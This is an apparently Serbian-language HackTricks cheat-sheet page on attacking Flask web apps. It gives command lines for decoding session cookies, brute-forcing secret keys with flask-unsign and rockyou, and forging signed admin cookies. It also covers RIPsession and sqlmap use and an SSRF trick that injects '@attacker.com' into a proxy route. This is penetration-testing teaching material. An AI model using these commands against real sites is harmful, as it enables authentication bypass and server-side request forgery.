Flask
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Verovatno, ako učestvujete u CTF-u, Flask aplikacija će biti povezana sa SSTI.
Cookies
Podrazumevano ime sesije kolačića je session
.
Decoder
Online Flask dekoder kolačića: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Uzmi prvi deo kolačića do prve tačke i Base64 dekodiraj ga.
echo "ImhlbGxvIg" | base64 -d
Kolačić je takođe potpisan koristeći lozinku
Flask-Unsign
Alat za komandnu liniju za preuzimanje, dekodiranje, brute-force i kreiranje sesijskih kolačića Flask aplikacije pogađanjem tajnih ključeva.
pip3 install flask-unsign
Dekodiraj Kolačić
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Potpisivanje
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Potpisivanje korišćenjem legacijske (stare verzije)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Alat za komandnu liniju za brute-force napade na veb sajtove koristeći kolačiće kreirane sa flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi u Flask sesijskom kolačiću sa SQLmap
Ovaj primer koristi sqlmap eval
opciju da automatski potpiše sqlmap payload-e za flask koristeći poznatu tajnu.
Flask Proxy za SSRF
U ovom izveštaju objašnjeno je kako Flask omogućava zahtev koji počinje sa karakterom "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Koji je u sledećem scenariju:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Може дозволити увођење нечега попут "@attacker.com" како би се изазвао SSRF.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.